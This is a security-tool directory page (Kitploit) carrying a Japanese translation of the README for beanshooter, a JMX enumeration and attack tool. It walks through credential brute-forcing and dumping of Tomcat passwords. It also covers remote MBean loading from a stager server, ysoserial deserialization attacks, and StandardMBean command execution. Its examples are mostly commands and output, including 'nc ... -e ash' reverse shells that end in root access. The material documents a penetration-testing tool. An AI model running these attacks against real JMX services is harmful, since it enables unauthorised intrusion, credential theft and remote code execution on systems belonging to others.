Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
beanshooter — JMX列挙および攻撃ツール。 | Kitploit
ツール/GitHubGitHub/qtc-de/beanshooter
脆弱性分析エクスプロイトペネトレーションテスト
GitHubqtc-de/beanshooter

beanshooter

JMX列挙および攻撃ツール。

リポジトリを見る
509553年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

beanshooter


beanshooter は、JMX エンドポイントの一般的な脆弱性を特定するのに役立つ、JMX 列挙および攻撃ツールです。

https://user-images.githubusercontent.com/49147108/183278179-4a5566a7-5af8-4ce8-a73d-1016876a36d5.mp4

インストール


beanshooter は maven プロジェクトであり、インストールは簡単です。maven がインストールされている状態で、以下のコマンドを実行して実行可能な .jar ファイルを作成してください:```console [qtc@devbox ~]$ git clone https://github.com/qtc-de/beanshooter [qtc@devbox ~]$ cd beanshooter [qtc@devbox ~]$ mvn package

root@kitploit:~
各リリース向けに作成されたビルド済みパッケージを利用することもできます。  
開発ブランチ向けのビルド済みパッケージは自動的に作成され、*GitHub* の [アクションページ](https://github.com/qtc-de/beanshooter/actions) で入手できます。また、*beanshooter* を実行するためのビルド済みDockerイメージも [利用可能です](#docker-image)。

*beanshooter* は *ysoserial* を依存関係として含んでいません。*ysoserial* サポートを有効にするには、``ysoserial.jar`` ファイルへのパスを追加引数として指定するか(例: ``--yso /opt/ysoserial.jar``)、プロジェクトをビルドする前に [beanshooter 設定ファイル](https://github.com/qtc-de/beanshooter/blob/HEAD/beanshooter/config.properties) 内のデフォルトパスを変更する必要があります。

*beanshooter* は *bash* でのオートコンプリートをサポートしています。オートコンプリートを利用するには、[completion-helpers](https://github.com/qtc-de/completion-helpers) プロジェクトがインストールされている必要があります。正しくセットアップされていれば、[completion script](https://github.com/qtc-de/beanshooter/blob/HEAD/resources/bash_completion.d/beanshooter) を ``~/.bash_completion.d`` フォルダにコピーするだけでオートコンプリートが有効になります。```console
[qtc@devbox ~]$ cp resources/bash_completion.d/beanshooter ~/bash_completion.d/

目次


  • サポートされている操作
    • 基本操作
      • attr
      • brute
      • deploy
      • enum
      • info
      • invoke
      • jolokia
      • list
      • model
      • serial
      • stager
      • standard
      • undeploy
    • MBean操作
      • 汎用MBean操作
        • attr
        • info
        • invoke
        • stats
        • status
        • export
        • deploy
        • undeploy
      • 診断
        • read
        • load
        • logfile
        • nolog
        • cmdline
        • props
      • ホットスポット
        • dump
        • list
        • get
        • set
      • mlet
        • load
      • レコーダー
        • new
        • start
        • stop
        • read
        • dump
      • Tomcat
        • dump
        • list
        • write
      • tonka

サポートされている操作


さまざまな beanshooter 操作は、基本操作 と MBean操作 の2つのグループに分類できます。基本操作 は JMX エンドポイントで一般的な操作を実行するために使用されるのに対し、MBean操作 は特定の MBean を対象として操作を行います。詳細については、以下のセクションの使用例を参照してください。```console [qtc@devbox ~]$ beanshooter -h usage: beanshooter [-h] ...

beanshooter v3.0.0 - a JMX enumeration and attacking tool

positional arguments:

Basic Operations attr set or get MBean attributes brute bruteforce JMX credentials deploy deploys the specified MBean on the JMX server enum enumerate the JMX service for common vulnerabilities info display method and attribute information on an MBean invoke invoke the specified method on the specified MBean list list available MBEans on the remote MBean server serial perform a deserialization attack stager start a stager server to deliver MBeans undeploy undeploys the specified MBEAN from the JMX server

MBean Operations diagnostic Diagnostic Command MBean hotspot HotSpot Diagnostic MBean mlet default JMX bean that can be used to load additional beans dynamically recorder jfr Flight Recorder MBean tomcat tomcat MemoryUserDatabaseMBean used for user management tonka general purpose bean for executing commands and uploading or download files

named arguments: -h, --help show this help message and exit

root@kitploit:~
### 基本操作

---

基本操作は、JMXサービスに対して実行できる汎用的な操作です。これらは通常、特定のMBeanを対象としない操作、またはbeanshooterによる組み込みサポートがないMBeanを対象とする操作です。

#### Attr

`attr`アクションは、指定された*MBean*の属性を取得または設定するために使用できます。利用可能な属性を取得するには、`info`アクションを使用する必要があります:```console
[qtc@devbox ~]$ beanshooter info 172.17.0.2 9010
...
[+] MBean Class: sun.management.MemoryImpl
[+] ObjectName: java.lang:type=Memory
[+]
[+]     Attributes:
[+]         Verbose (type: boolean , writable: true)
[+]         ObjectPendingFinalizationCount (type: int , writable: false)
[+]         HeapMemoryUsage (type: javax.management.openmbean.CompositeData , writable: false)
[+]         NonHeapMemoryUsage (type: javax.management.openmbean.CompositeData , writable: false)
[+]         ObjectName (type: javax.management.ObjectName , writable: false)
[+]
[+]     Operations:
[+]         void gc()

属性名のみが指定された場合、beanshooter は現在の属性値を取得して表示します。```console [qtc@devbox ~]$ beanshooter attr 172.17.0.2 9010 java.lang:type=Memory Verbose false

root@kitploit:~
追加の値が指定された場合、*beanshooter* は対応する属性を設定しようとします。*String* とは異なる型を持つ属性の場合、`--type` オプションを使用して属性の型を指定する必要があります。```console
[qtc@devbox ~]$ beanshooter attr 172.17.0.2 9010 java.lang:type=Memory Verbose true --type boolean
[qtc@devbox ~]$ beanshooter attr 172.17.0.2 9010 java.lang:type=Memory Verbose
true

Brute

brute アクションは、パスワードで保護された JMX サービスに対してブルートフォース攻撃を実行します。追加のオプション引数なしで実行した場合、beanshooter は一般的なユーザー名とパスワードの組み合わせを含む組み込みのワードリストを使用します。より本格的な攻撃には、--username-file および --password-file オプションを使用して、より網羅的なワードリストを指定してください。```console [qtc@devbox ~]$ beanshooter brute 172.17.0.2 1090 [+] Reading wordlists for the brute action. [+] Reading credentials from internal wordlist. [+] [+] Starting bruteforce attack with 10 credentials. [+] [+] Found valid credentials: admin:admin [+] [10 / 10] [########################################] 100% [+] [+] done.

root@kitploit:~
#### Deploy

`deploy` アクションは、*JMX* サービス上に *MBean* をデプロイするために使用できます。このアクションは、例えば *TonkaBean* のようなデフォルトサポートを持つ *MBean* をデプロイするために**使用すべきではありません**。デフォルトサポートを持つ *MBean* のデプロイは、対応する [MBean 操作](#mbean-operations) を通じて行う必要があります。

デプロイしたい *MBean* がすでに *JMX* サービスに認識されている場合、実装する *MBean* クラスのクラス名と希望する `ObjectName` を指定するだけで十分です。```console
[qtc@devbox ~]$ beanshooter deploy 172.17.0.2 9010 javax.management.monitor.StringMonitor qtc.test:type=Monitor
[+] Starting MBean deployment.
[+]
[+] 	Deplyoing MBean: StringMonitor
[+] 	MBean with object name qtc.test:type=Monitor was successfully deployed.

When the MBean class is not known to the JMX service, you can use the --jar-file and --stager-url options to provide an implementation:```console [qtc@devbox ~]$ beanshooter deploy 172.17.0.2 9010 non.existing.example.ExampleBean qtc.test:type=Example --jar-file exampleBean.jar --stager-url http://172.17.0.1:8000 [+] Starting MBean deployment. [+] [+] Deplyoing MBean: ExampleBean [+] [+] MBean class is not known to the server. [+] Starting MBean deployment. [+] [+] Deplyoing MBean: MLet [+] MBean with object name DefaultDomain:type=MLet was successfully deployed. [+] [+] Loading MBean from http://172.17.0.1:8000 [+] [+] Creating HTTP server on: 172.17.0.1:8000 [+] Creating MLetHandler for endpoint: / [+] Creating JarHandler for endpoint: /c65c3cdc908348d8bd9a22b8a2bf8be3 [+] Starting HTTP server... [+] [+] Incoming request from: iinsecure.example [+] Requested resource: / [+] Sending mlet: [+] [+] Class: non.existing.example.ExampleBean [+] Archive: c65c3cdc908348d8bd9a22b8a2bf8be3 [+] Object: qtc.test:type=Example [+] Codebase: http://172.17.0.1:8000 [+] [+] Incoming request from: iinsecure.example [+] Requested resource: /c65c3cdc908348d8bd9a22b8a2bf8be3 [+] Sending jar file with md5sum: c4d8f40d1c1ac7f3cf7582092802a484 [+] [+] MBean with object name qtc.test:type=Example was successfully deployed.

root@kitploit:~
#### Enum

`enum`アクションは、*JMX*エンドポイント上のいくつかの設定詳細を列挙します。常に、*JMX*エンドポイントが認証を必要とするかどうか、および事前認証済みの任意のデシリアライゼーションを許可するかどうかをチェックします。```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 1090
[+] Checking for unauthorized access:
[+]
[+] 	- Remote MBean server requires authentication.
[+] 	  Vulnerability Status: Non Vulnerable
[+]
[+] Checking pre-auth deserialization behavior:
[+]
[+] 	- Remote MBeanServer accepted the payload class.
[+] 	  Configuration Status: Non Default

認証が不要な場合、または有効な認証情報が指定された場合、enumアクションはJMXエンドポイントからさらにいくつかの情報を列挙しようと試みます。これには、デフォルト以外のMBeansのリストや、例えばApache tomcatサーバーに登録されているユーザーアカウントなどが含まれます。```console [qtc@devbox ~]$ beanshooter enum 172.17.0.2 1090 [+] Checking for unauthorized access: [+] [+] - Remote MBean server does not require authentication. [+] Vulnerability Status: Vulnerable [+] [+] Checking pre-auth deserialization behavior: [+] [+] - Remote MBeanServer rejected the payload class. [+] Vulnerability Status: Non Vulnerable [+] [+] Checking available MBeans: [+] [+] - 57 MBeans are currently registred on the MBean server. [+] Listing 39 non default MBeans: [+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Valve,host=localhost,name=AccessLogValve) [+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=GlobalRequestProcessor,name="http-nio-8080") [...] [+] [+] Enumerating tomcat users: [+] [+] - Listing 3 tomcat users: [+] [+] ---------------------------------------- [+] Username: manager [+] Password: P@55w0rD# [+] Roles: [+] Users:type=Role,rolename="manager-gui",database=UserDatabase [+] Users:type=Role,rolename="manager-script",database=UserDatabase [+] Users:type=Role,rolename="manager-jmx",database=UserDatabase [+] Users:type=Role,rolename="manager-status",database=UserDatabase [+] [+] ---------------------------------------- [+] Username: admin [+] Password: s3cr3T!$ [+] Roles: [+] Users:type=Role,rolename="admin-gui",database=UserDatabase [+] Users:type=Role,rolename="admin-script",database=UserDatabase [...]

root@kitploit:~
`enum` アクションを *SASL* で保護されたエンドポイントに対して呼び出すと、*beanshooter* はサーバーに設定されている *SASL* プロファイルの列挙を試みます。これはある程度まで可能であり、サーバーの *TLS* 構成は列挙できません。*beanshooter* が特定した *SASL* プロファイルが機能しない場合は、`--ssl` オプションあり/なしで常に再試行してください:```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 4447 --jmxmp
[+] Checking servers SASL configuration:
[+]
[+] 	- Remote JMXMP server uses SASL/DIGEST-MD5 SASL profile.
[+] 	  Credentials are requried and the following hostname must be used: iinsecure.example
[+] 	  Notice: TLS setting cannot be enumerated and --ssl may be required.
[+] 	  Vulnerability Status: Non Vulnerable
...

情報

infoアクションは、MBeanサーバー上で利用可能なMBeansのメソッドおよび属性情報を取得するために使用できます。 追加の引数なしで呼び出された場合、利用可能なすべてのMBeansのメソッドおよび属性情報が出力されます。追加のObjectNameを指定すると、指定されたMBeanのメソッドおよび属性情報のみが出力されます:```console [qtc@devbox ~]$ beanshooter info 172.17.0.2 9010 java.lang:type=Memory [+] MBean Class: sun.management.MemoryImpl [+] ObjectName: java.lang:type=Memory [+] [+] Attributes: [+] Verbose (type: boolean , writable: true) [+] ObjectPendingFinalizationCount (type: int , writable: false) [+] HeapMemoryUsage (type: javax.management.openmbean.CompositeData , writable: false) [+] NonHeapMemoryUsage (type: javax.management.openmbean.CompositeData , writable: false) [+] ObjectName (type: javax.management.ObjectName , writable: false) [+] [+] Operations: [+] void gc()

root@kitploit:~
#### Invoke

`invoke`アクションは、*JMX*エンドポイントにすでにデプロイされている*MBean*上の任意のメソッドを呼び出すために使用できます。
エンドポイントに加えて、`invoke`アクションは対象の*MBean*の`ObjectName`と呼び出したいメソッドシグネチャが必要です。
指定されたメソッドが引数を期待する場合、それらも指定する必要があります。次のリストは、`DiagnosticCommand` *MBean*の`vmVersion()`メソッドが呼び出される、引数のないメソッド呼び出しの例を示しています。```console
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 1090 com.sun.management:type=DiagnosticCommand --signature 'vmVersion()'
OpenJDK 64-Bit Server VM version 11.0.14.1+1
JDK 11.0.14.1

パラメータを必要とするメソッドを呼び出す場合、指定された beanshooter 引数は Javaコード として評価されます。単純な引数 型(整数や文字列など)は、対応する値を指定するだけで渡すことができます。複雑な引数型は、Java で行うように構築できます (例: 'new java.util.HashMap()')。次のリストは、help(String[] args) メソッドが DiagnosticCommand MBean で呼び出される例を示しています:```console [qtc@devbox ~]$ beanshooter invoke 172.17.0.2 1090 com.sun.management:type=DiagnosticCommand --signature 'help(String[] args)' 'new String[] { "Compiler.directives_add" }' Compiler.directives_add Add compiler directives from file.

Impact: Low

Permission: java.lang.management.ManagementPermission(monitor)

Syntax : Compiler.directives_add

Arguments: filename : Name of the directives file (STRING, no default value)

root@kitploit:~
より複雑な引数型で初期化が必要な場合、*beanshooters PluginSystem* を使用して、[IArgumentProvider Interface](https://github.com/qtc-de/beanshooter/blob/HEAD/beanshooter/src/de/qtc/beanshooter/plugin/IArgumentProvider.java) を実装するカスタムクラスを定義できます。


#### Jolokia

*beanshooters* の [Jolokia ドキュメント](https://github.com/qtc-de/beanshooter/blob/HEAD/docs/jolokia.md) で概説されているように、ほぼすべての *beanshooter* アクションは `--jolokia` スイッチと共に使用して、*Jolokia* ベースの *JMX* エンドポイントをターゲットにできます。この *Jolokia JMX* アダプタに対する汎用サポートに加えて、*beanshooter* は専用の `jolokia` アクションを1つサポートしています。このアクションは、プロキシモードが有効な状態で動作している *Jolokia* エージェントのアウトバウンド接続を強制するために使用できます。```console
[qtc@devbox ~]$ beanshooter jolokia 172.17.0.2 8080 172.17.0.1 4444 --username manager --password admin --ldap
[+] Attempting to trigger outboud connection to 172.17.0.1:4444
[+] Using proxy service URL: service:jmx:Rmi:///jndi/ldap://172.17.0.1:4444/beanshooter
...

[qtc@devbox ~]$ nc -vlp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:60052.
0

同じ結果は、通常の beanshooter 操作(list など)を呼び出し、--jolokia-proxy service:jmx:... オプションを使用することでも達成できます。jolokia アクションは、JNDI 構文を覚える必要がないようにショートカットとして追加されました。jolokia アクションを使用する場合、--jolokia オプションがデフォルトで指定されます。

リスト

list アクションは、リモートの JMX サービスに登録されているすべての MBeans のリストを出力します。```console [qtc@devbox ~]$ beanshooter list 172.17.0.2 9010 [+] Available MBeans: [+] [+] - sun.management.MemoryManagerImpl (java.lang:name=Metaspace Manager,type=MemoryManager) [+] - sun.management.MemoryPoolImpl (java.lang:name=Metaspace,type=MemoryPool) [+] - javax.management.MBeanServerDelegate (JMImplementation:type=MBeanServerDelegate) [...]

root@kitploit:~
#### Model

`model`アクションは、*beanshooter*の最も強力な操作の1つであり、[Markus Wulftange](https://twitter.com/mwulftange)氏によって特定された技術を実装しています。これにより、任意の*public*かつ*static*なJavaメソッドを呼び出すことができます。さらに、ユーザーが作成したオブジェクトインスタンスに対して*public*なオブジェクトメソッドも呼び出すことができます。唯一の要件は、使用するメソッド引数と提供されるオブジェクトインスタンス(*非 static*メソッドの場合)がシリアライズ可能であることです。

以下のリストは使用例を示しており、`File`オブジェクトがオブジェクトインスタンスとして提供され、その上で`String[] list()`操作が呼び出されています。```console
[qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=1 java.io.File 'new java.io.File("/")'
[+] Deploying RequiredModelMBean supporting methods from java.io.File
[+]
[+] 	Deplyoing MBean: RequiredModelMBean
[+] 	MBean with object name de.qtc.beanshooter:version=1 was successfully deployed.
[+]
[+] 	Available Methods:
[+] 	  - java.lang.String toString()
[+] 	  - int hashCode()
[+] 	  - [Ljava.lang.String; list()
[...]
[+] 	  - void setManagedResource(java.lang.Object, java.lang.String)
[+]
[+] 	Setting managed resource to: new java.io.File("/")
[+] 	Managed resource was set successfully.
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'list()'
root
var
opt
srv
bin
mnt
dev
proc
etc
usr
lib
tmp
home
run
media
sbin
sys
.dockerenv

setManagedResource メソッドは常に利用可能で、操作対象のオブジェクトインスタンスを変更するために使用できます。```console [qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'setManagedResource(Object a, String b)' 'new java.io.File("/etc")' objectReference [+] Call was successful. [qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'list()' passwd shells opt modules mtab issue inittab hosts ...

root@kitploit:~
*static* メソッドを呼び出す場合、オブジェクトインスタンスも必要です。ただし、オブジェクトインスタンスの実際のクラスは重要ではありません。例えば、`java.lang.System` から `getProperties()` を呼び出したい場合、単純な `String` をオブジェクトインスタンスとして使用することもできます。この場合、指定されたクラス名のみが重要です:```console
[qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=1 java.lang.System '"does not matter"'
[+] Deploying RequiredModelMBean supporting methods from java.lang.System
[+]
[+] 	Deplyoing MBean: RequiredModelMBean
[+] 	MBean with object name de.qtc.beanshooter:version=1 was successfully deployed.
[+]
[+] 	Available Methods:
[+] 	  - void runFinalization()
[+] 	  - java.lang.String setProperty(java.lang.String, java.lang.String)
[+] 	  - java.lang.String getProperty(java.lang.String)
[+] 	  - java.lang.String getProperty(java.lang.String, java.lang.String)
[+] 	  - long currentTimeMillis()
[+] 	  - long nanoTime()
[+] 	  - java.lang.SecurityManager getSecurityManager()
[+] 	  - void loadLibrary(java.lang.String)
[+] 	  - java.lang.String mapLibraryName(java.lang.String)
[+] 	  - void load(java.lang.String)
[+] 	  - java.lang.String lineSeparator()
[+] 	  - java.io.Console console()
[+] 	  - java.nio.channels.Channel inheritedChannel()
[+] 	  - java.util.Properties getProperties()
[+] 	  - void setProperties(java.util.Properties)
[+] 	  - java.lang.String clearProperty(java.lang.String)
[+] 	  - java.util.Map getenv()
[+] 	  - java.lang.String getenv(java.lang.String)
[+] 	  - void gc()
[+] 	  - void wait()
[+] 	  - java.lang.String toString()
[+] 	  - int hashCode()
[+] 	  - java.lang.Class getClass()
[+] 	  - void notify()
[+] 	  - void notifyAll()
[+] 	  - void setManagedResource(java.lang.Object, java.lang.String)
[+]
[+] 	Setting managed resource to: "does not matter"
[+] 	Managed resource was set successfully.
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'getProperties()'
java.vm.info
  --> mixed mode
java.runtime.version
  --> 11.0.18+10-alpine-r0
sun.io.unicode.encoding
  --> UnicodeLittle
...

modelアクションはリフレクションを使用して、指定されたクラスで利用可能なメソッドを特定します。クラスがローカルに存在しない場合でも、--signature または --signature-file オプションを介して利用可能なメソッドを指定することで使用できます。しかし、デフォルト以外のクラスにアクセスするには、デフォルトクラス(rt.jar に存在しない)ではないオブジェクトインスタンスを提供する必要があります。これは、ターゲットクラスが提供されたオブジェクトインスタンスと同じ ClassLoader によって読み込まれる必要があるためです。beanshooters の example-server では、javax.management.remote.message.VersionMessage が適切です。このクラスは、クライアントとサーバの両方に存在する opendmk_jmxremote_optional_jar に含まれているためです。これをオブジェクトインスタンスとして使用し、de.qtc.beanshooter.server.utils.Logger のような他のカスタムクラスのメソッドを呼び出すことができます。```console [qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=0 de.qtc.beanshooter.server.utils.Logger 'new javax.management.remote.message.VersionMessage("test")' --signature 'String getIndent()' [+] Deploying RequiredModelMBean supporting user specified methods [+] [+] Deplyoing MBean: RequiredModelMBean [+] MBean with object name de.qtc.beanshooter:version=0 was successfully deployed. [+] [+] Available Methods: [+] - String getIndent() [+] - void setManagedResource(java.lang.Object, java.lang.String) [+] [+] Setting managed resource to: new javax.management.remote.message.VersionMessage("test") [+] Managed resource was set successfully. [qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=0 --signature 'String getIndent()' EMPTY OUTPUT - Just an Indent ;)

root@kitploit:~
`model` アクションで実装されている手法について詳しく知りたい場合は、[CODE WHITE](https://twitter.com/codewhitesec) によるこの[ブログ記事](https://codewhitesec.blogspot.com/2023/03/jmx-exploitation-revisited.html)を強くお勧めします。この記事では詳細に説明されています。

#### Serial

`serial` アクションは、*JMX* エンドポイントに対するデシリアライゼーション攻撃を実行するために使用できます。デフォルトでは、このアクションは認証後のデシリアライゼーション攻撃を試みます。これが機能するためには、対象の *JMX* サービスが認証なしのアクセスを許可しているか、有効な認証情報が必要です。```console
[qtc@devbox ~]$ beanshooter serial 172.17.0.2 1090 CommonsCollections6 "nc 172.17.0.1 4444 -e ash" --username admin --password admin
[+] Attemting deserialization attack on JMX endpoint.
[+]
[+] 	Creating ysoserial payload... done.
[+] 	MBeanServer attempted to deserialize the DeserializationCanary class.
[+] 	Deserialization attack was probably successful.

[qtc@devbox ~]$ nc -vlp 4444
[...]
id
uid=0(root) gid=0(root) groups=0(root)

JMXサービスも事前認証されたデシリアライゼーション攻撃に対して脆弱になる可能性があります。これを悪用するには、--preauthスイッチを使用します:```console [qtc@devbox ~]$ beanshooter serial 172.17.0.2 1090 CommonsCollections6 "nc 172.17.0.1 4444 -e ash" --preauth [+] Attemting deserialization attack on JMX endpoint. [+] [+] Creating ysoserial payload... done. [+] MBeanServer attempted to deserialize the DeserializationCanary class. [+] Deserialization attack was probably successful.

[qtc@devbox ~]$ nc -vlp 4444 [...] id uid=0(root) gid=0(root) groups=0(root)

root@kitploit:~
Against *JMXMP* エンドポイントに対しては、通常、事前認証なしのデシリアライゼーションが可能です。残念ながら、`enum` アクション中にこれを適切に列挙する方法はありません。*JMXMP* エンドポイントに遭遇した場合は、試してみることをお勧めします。

#### Stager

`stager` アクションは、*MBeans* を配信するために使用できるステージャサーバを起動します。*MBean* 配信のためのステージャサーバの作成は、通常、*beanshooters* の `deploy` アクションを使用する際に自動的に行われます。ただし、スタンドアロンサーバが必要になる場合もあります。`stager` アクションを使用する場合、配信する組み込み *MBean* の名前(例:`tonka`)を指定するか、`custom` キーワードを指定できます。`custom` が指定された場合、`--class-name`、`--object-name`、`--jar-file` オプションが必要です。```console
[qtc@devbox ~]$ beanshooter tonka deploy 172.17.0.2 9010 --stager-url http://172.17.0.1:8888 --no-stager
[qtc@devbox ~]$ beanshooter stager 172.17.0.1 8888 tonka
[+] Creating HTTP server on: 172.17.0.1:8888
[+] Creating MLetHandler for endpoint: /
[+] Creating JarHandler for endpoint: /93691b8bae4143f087f7a3123641b20d
[+] Starting HTTP server.
[+] 
[+] Press Enter to stop listening.
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /
[+] Sending mlet:
[+]
[+] 	Class:     de.qtc.beanshooter.tonkabean.TonkaBean
[+] 	Archive:   93691b8bae4143f087f7a3123641b20d
[+] 	Object:    MLetTonkaBean:name=TonkaBean,id=1
[+] 	Codebase:  http://172.17.0.1:8888
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /93691b8bae4143f087f7a3123641b20d
[+] Sending jar file with md5sum: 6568ffb2934cb978dbd141848b8b128a

Standard

standard アクションは、TemplateImpl クラスを実装する StandardMBean をデプロイして、さまざまなターゲットを達成します。この手法は Markus Wulftange によって特定され、beanshooter はそれを実装して、コマンド実行、ファイルアップロード、および TonkaBean のデプロイを可能にします。```console [qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 exec 'nc 172.17.0.1 4444 -e ash' [+] Creating a TemplateImpl payload object to abuse StandardMBean [+] [+] Deplyoing MBean: StandardMBean [+] MBean with object name de.qtc.beanshooter:standard=3873612041699 was successfully deployed. [+] [+] Caught NullPointerException while invoking the newTransformer action. [+] This is expected bahavior and the attack most likely worked :) [+] [+] Removing MBean with ObjectName de.qtc.beanshooter:standard=3873612041699 from the MBeanServer. [+] MBean was successfully removed. ... [qtc@devbox ~]$ nc -vlp 4444 Ncat: Version 7.93 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 172.17.0.2. Ncat: Connection from 172.17.0.2:40033. id uid=0(root) gid=0(root) groups=0(root)

root@kitploit:~
`standard` アクションによるコマンド実行はブラインドであり、コマンドの出力を受け取ることはできません。  
さらに、デフォルトではコマンドは `Runtime.exec(String str)` に渡されるため、特別なシェル機能はサポートされません。シェル機能を利用したい場合は、`--exec-array` オプションを使用して、次のようにコマンドを指定してください: `'sh -c echo "my cool command" > /tmp/test.txt'`。`--exec-array` を使用すると、*beanshooter* は指定されたコマンドを3つの部分に分割し、`Runtime.exec(String[] arr)` に渡します。ただし、一般的にはコマンド実行には *TonkaBean* デプロイメントを使用することをお勧めします:```console
[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 tonka
[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+]
[+] 	Deplyoing MBean: StandardMBean
[+] 	MBean with object name de.qtc.beanshooter:standard=4121868972140 was successfully deployed.
[+]
[+] 	Caught NullPointerException while invoking the newTransformer action.
[+] 	This is expected bahavior and the attack most likely worked :)
[+]
[+] 	Removing MBean with ObjectName de.qtc.beanshooter:standard=4121868972140 from the MBeanServer.
[+] 	MBean was successfully removed.
[qtc@devbox ~]$ beanshooter tonka shell 172.17.0.2 9010
[[email protected] /]$ id
uid=0(root) gid=0(root) groups=0(root)

通常の tonka deploy アクションと比較した大きな利点は、StandardMBean を介したデプロイが外部ネットワーク接続を必要としないことです。standard ... tonka による直接デプロイが機能しない場合、TonkaBean Jarファイルをアップロードし、MLet と file:// プロトコルを介してロードできるかもしれません。```console [qtc@devbox ~]$ beanshooter tonka export --stager-url file:///tmp/ [+] Exporting MBean jar file: ./tonka-bean-4.0.0-jar-with-dependencies.jar [+] Exporting MLet HTML file to: ./index.html [+] Class: de.qtc.beanshooter.tonkabean.TonkaBean [+] Archive: tonka-bean-4.0.0-jar-with-dependencies.jar [+] Object: MLetTonkaBean:name=TonkaBean,id=1 [+] Codebase: file:/tmp/ [qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 upload tonka-bean-4.0.0-jar-with-dependencies.jar::/tmp/tonka-bean-4.0.0-jar-with-dependencies.jar [+] Creating a TemplateImpl payload object to abuse StandardMBean [+] [+] Deplyoing MBean: StandardMBean [+] MBean with object name de.qtc.beanshooter:standard=4825542879735 was successfully deployed. [+] [+] Caught NullPointerException while invoking the newTransformer action. [+] This is expected bahavior and the attack most likely worked :) [+] [+] Removing MBean with ObjectName de.qtc.beanshooter:standard=4825542879735 from the MBeanServer. [+] MBean was successfully removed. [qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 upload index.html::/tmp/index.html [+] Creating a TemplateImpl payload object to abuse StandardMBean [+] [+] Deplyoing MBean: StandardMBean [+] MBean with object name de.qtc.beanshooter:standard=4836961801045 was successfully deployed. [+] [+] Caught NullPointerException while invoking the newTransformer action. [+] This is expected bahavior and the attack most likely worked :) [+] [+] Removing MBean with ObjectName de.qtc.beanshooter:standard=4836961801045 from the MBeanServer. [+] MBean was successfully removed. [qtc@devbox ~]$ beanshooter tonka deploy 172.17.0.2 9010 --stager-url file:///tmp/index.html [+] Starting MBean deployment. [+] [+] Deplyoing MBean: TonkaBean [+] [+] MBean class is not known by the server. [+] Starting MBean deployment. [+] [+] Deplyoing MBean: MLet [+] MBean with object name DefaultDomain:type=MLet was successfully deployed. [+] [+] Loading MBean from file:///tmp/index.html [+] [+] MBean with object name MLetTonkaBean:name=TonkaBean,id=1 was successfully deployed.

root@kitploit:~
`standard` アクションによって実装されているテクニックについてさらに詳しく知りたい場合は、この [ブログ記事](https://codewhitesec.blogspot.com/2023/03/jmx-exploitation-revisited.html)([CODE WHITE](https://twitter.com/codewhitesec) 著)を強くお勧めします。この記事では詳細に説明されています。

#### Undeploy

`undeploy` アクションは、指定された `ObjectName` を持つ *MBean* を *JMX* サービスから削除します。```console
[qtc@devbox ~]$ beanshooter undeploy 172.17.0.2 9010 qtc.test:type=Example 
[+] Removing MBean with ObjectName qtc.test:type=Example from the MBeanServer.
[+] MBean was successfully removed.

MBean 操作


[JMX] エンドポイントが公開する一般的な機能を対象とする基本操作とは対照的に、MBean 操作は特定の MBean を対象とします。サポートされている各 MBean に対して、beanshooter は対応する MBean の利用可能な操作とオプションを含む別のサブパーサーを提供します。次のリストは、mlet MBean と関連するサブパーサーの例を示しています。```console [qtc@devbox ~]$ beanshooter mlet -h usage: beanshooter mlet [-h] ...

positional arguments:

root@kitploit:~
load                 load a new MBean from the specified URL
attr                 set or get MBean attributes
deploy               deploys the specified MBean on the JMX server
info                 print server information about the MBean
invoke               invoke the specified method on the MBean
stats                print local information about the MBean
status               checks whether the MBean is registered
undeploy             undeploys the specified MBEAN from the JMX server

named arguments: -h, --help show this help message and exit

root@kitploit:~
### 汎用MBean操作

---

各*MBean*に対して利用可能な*beanshooter*操作の一部をこのセクションで紹介します。
これらの汎用*MBean*操作は、多くの場合、[基本操作](#basic-operations)の機能を反映していますが、*ObjectName*を指定する必要がありません。

#### 汎用Attr

`attr`アクションは、基本操作の`attr`アクションと同じように動作します。ただし、*ObjectName*は指定された*MBean*に含まれているため、指定する必要がなくなります。```console
[qtc@devbox ~]$ beanshooter tomcat attr 172.17.0.2 1090 users
Users:type=User,username="manager",database=UserDatabase
Users:type=User,username="admin",database=UserDatabase
Users:type=User,username="status",database=UserDatabase

汎用デプロイ

